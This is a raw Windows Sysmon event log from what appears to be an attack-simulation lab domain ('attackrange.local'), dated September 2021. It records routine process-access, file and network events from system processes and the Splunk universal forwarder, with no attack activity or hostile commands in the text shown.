14:47:30.239{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+4bfa5|C:\Windows\System32\TwinUI.dll+230ec|C:\Windows\System32\TwinUI.dll+23125|C:\Windows\System32\TwinUI.dll+2444f|C:\Windows\System32\TwinUI.dll+22a1d|C:\Windows\System32\TwinUI.dll+22871|C:\Windows\System32\TwinUI.dll+3fb180|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0 23542300x800000000000000014378Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.928{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76BB7B873FD0BBB20FF7A76C6E69EDDA,SHA256=26EC06A74C80A55FF2BF17CACD5A835C19A3D055E0C173A4D6167150081F3F04,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.979{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=6AF2A5EEB167E0A546D2D3B649EC3005,SHA256=3CFA7CF285FFF077782609EA1519A946D82B9022E4277C139CF97B27918A4085,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.792{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B4F6034E0C22FA8D6A6904B62859419D,SHA256=687600E3E7DB1E67F2EE951BA1977AD22B7D09B67E091EBAB13E7EAA1E33183C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014377Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7003-613B-A904-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014376Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014375Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014374Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014373Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014372Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014371Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014370Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014369Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014368Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7003-613B-A904-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014367Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014366Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.725{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7003-613B-A904-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014365Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:31.726{625C326B-7003-613B-A904-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000046364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:28.868{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59296-false10.0.1.12-8089- 354300x800000000000000046363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:28.368{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59295-false10.0.1.12-8000- 10341000x800000000000000046362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.447{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.447{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.432{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+892c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+658c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+64d9|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+1e1c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+c6ae 10341000x800000000000000046359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.432{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+892c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+64ad|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+1e1c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+c6ae|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000046358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.432{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.432{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.338{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+1a962|C:\Windows\system32\windows.cortana.onecore.dll+16e12|C:\Windows\system32\windows.cortana.onecore.dll+16d5b|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000046355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.338{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+6198|C:\Windows\system32\windows.cortana.onecore.dll+16cb1|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000046354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 